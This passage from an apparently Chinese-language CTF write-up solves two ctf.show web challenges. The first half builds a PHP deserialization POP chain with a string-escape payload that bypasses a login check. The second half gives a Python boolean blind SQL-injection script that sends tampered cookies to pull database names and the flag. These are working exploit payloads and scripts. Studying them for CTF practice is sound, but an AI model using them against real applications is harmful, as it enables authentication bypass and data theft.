public $dbuser="noob123";
public $dbpass="noob123";
public $database="noob123";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}

好吧,其实是在lib.php中进行pop反序列化获取flag,下面来详细说明

从login函数分析可知,要想能成功返回(也就是登入成功),有两种方法,一就是token=admin,二是满足passwd的md5值等于数据库中的存储值

但是token是在方法二满足后才赋值的,所以还是要用方法二

注意到login函数接收一个参数$sql,这个是执行的sql语句,默认是 “select id,password from user where username=?”,我们可以想办法让它等于 “select 1,“c4ca4238a0b923820dcc509a6f75849b” from user where username=?”

这样sql返回的passwd就是1的MD5值,同时我们让post的passwd等于1,不就满足条件二吗,而且条件二满足后,就会让session里的token=admin,再次登入就不会检查密码了。

下一步就是想办法传入这个参数并且执行login函数

观察可得update页面会调用user类的update()方法

...
$users=new User();
$users->update();
...

看到users类的update()方法

public function update(){
$Info=unserialize($this->getNewinfo());
...
}

又跟进到getNewinfo()方法

public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}

分析可知这里接收两个参数age和nickname,然后以这两个为参数值构造一个info类,过滤后再进行序列化

跟进到info类

class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}

可以发现__call函数,当调用info类中一个不存在的类时就会执行该魔术方法,执行输出当前类中的ctrlcase的login函数,并且将参数传递进去,这样我们就能够调用login函数了,同时$sql参数也由我们指定

但是在哪调用info类中的不存在函数,这里主要看user类的一个tosring方法

public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}

发现这里会调用nickname中的update函数,age作为参数,如果我们让nickname为info类,age等于我们想执行的语句,不就行了吗。

下一步时寻找在哪才能调用这个tostring方法,最后在UpdateHelper类中

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
echo $this->$sql;
}
}

这里可以看到echo了当前类中的$sql变量,我们让$sql等于user类即可

下面为反序列化构造方法

<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();

$in=new Info();
$in->CtrlCase=$db;

$user=new User();
$user->nickname=$in;

$update=new UpdateHelper();
$update->sql=$user;

echo serialize($update);

//O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

但是如何传入这个序列化数据进行反序列化呢?由上面分析可知,源代码中会反序列化一个info类,但是那个info类我们只能传入两个参数,然后它两个参数来构造类并且反序列化。这里其实可以绕过,方法是利用反序列化字符串字符逃逸漏洞

我们让info三个参数(除了传入的两个参数,还有一个ctrlcase参数),其中一个为我们想要的序列化类即可(类中类也会一起序列化,反序列化会一起反序列化)。

注意替换后字符长度增加了2,那就涉及到字符逃逸了

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

最终脚本如下

<?php
class dbCtrl
{
public $name="admin";
public $password="1";
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
}
class User
{
public $age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";
public $nickname;
}
Class UpdateHelper{
public $sql;
}
$db=new dbCtrl();

$in=new Info();
$in->CtrlCase=$db;

$user=new User();
$user->nickname=$in;

$update=new UpdateHelper();
$update->sql=$user;

function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}

$k=new Info();
$k->age=18;
$m=str_repeat("into",146);
$k->nickname=$m."\";s:8:\"CtrlCase\";".serialize($update).'}';
echo($k->nickname);
?>

//";s:8:"CtrlCase";serialize($update)}双引号和前面提前闭合(长度替换后),后面加上ctrlcase参数,并且内容是我们想反序列化的类,最后加上一个}来提前结尾
//intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}
age=18&nickname=intointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointointo";s:8:"CtrlCase";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}}

image-20250307213321097

看到10-0就是成功了,再用admin/1登录就能获得flag

还看了一点其他的解释如下,还是感觉有点晕,序列化多学学之后再回来看

整体的逻辑如下:

登录的时候用user.login,这里的参数无法控制,因此考虑直接从update.php下手

在update.php,会调用user类的update方法

调用getNewinfo方法,会有一个安全审计和序列化的Info类,后续可能会有字符串逃逸

Info类中的__call方法当CtrlCase为dbCtrl时,会触发登录函数,且可以自定义SQL语句($argument[0]即为变量name),当调用info类中一个不存在的类时就会执行该魔术方法

发现user类中的__toString方法中当nickname==Info可以触发Info类的update方法(不存在),因此需要把user当成字符串处理,同时Info.age会作为SQL查询语句

发现UpdateHelper中的__destruct可以触发,pop链条构造完毕

web15 Fishman(sql注入布尔盲注)

扫目录发现www.zip,得到其中的`member.php`源码如下

<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>

当查询返回的用户名为空且密码错误时,进行四次setcookie 操作 当查询返回的用户名为不为空时,进行两次setcookie 操作,就可以利用这个实现布尔盲注了

直接给个脚本

#encoding=utf-8
import requests

url = "http://95230838-ad30-4ce7-a258-bd138252d7a9.challenge.ctf.show/admin"

def tamper(payload):
payload = payload.lower()
payload = payload.replace('u', '\\u0075')
payload = payload.replace('\'', '\\u0027')
payload = payload.replace('o', '\\u006f')
payload = payload.replace('i', '\\u0069')
payload = payload.replace('"', '\\u0022')
payload = payload.replace(' ', '\\u0020')
payload = payload.replace('s', '\\u0073')
payload = payload.replace('#', '\\u0023')
payload = payload.replace('>', '\\u003e')
payload = payload.replace('<', '\\u003c')
payload = payload.replace('-', '\\u002d')
payload = payload.replace('=', '\\u003d')
payload = payload.replace('f1a9', 'F1a9')
payload = payload.replace('f1', 'F1')
return payload

#get database length
def databaseName_len():
print ("start get database name length...")
for l in range(0,45):
payload = "1' or (length(database())=" + str(l+1) + ")#"
print(payload)
payload = tamper(payload)
print(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
print(tmpCookie)
exit()
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 1)):
print('get db length = ' + str(l).lower())
break

#get content
def get_databaseName():
flag = ''
for j in range(0, 15):
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('databasename = ' + flag.lower())
break

#get content
def get_tableName():
flag = ''
for j in range(0, 30): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('tablename = ' + flag.lower())
break

#get content
def get_ColumnName():
flag = ''
for j in range(0, 10): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('column name = ' + flag.lower())
break

#get content
def get_value():
flag = ''
for j in range(0, 50): #blind inject
for c in range(0x20,0x7f):
if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
continue
else:
payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" +chr(126) + "')#"
#print(payload)
payload = tamper(payload)
tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
headers = {'cookie': tmpCookie}
r =requests.get(url, headers=headers)
myHeaders = str(r.raw.headers)
if ((myHeaders.count("login_data") == 2)):
flag += chr(c - 1)
print('flag = ' + flag.lower())
break

print ("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

image-20250307220020632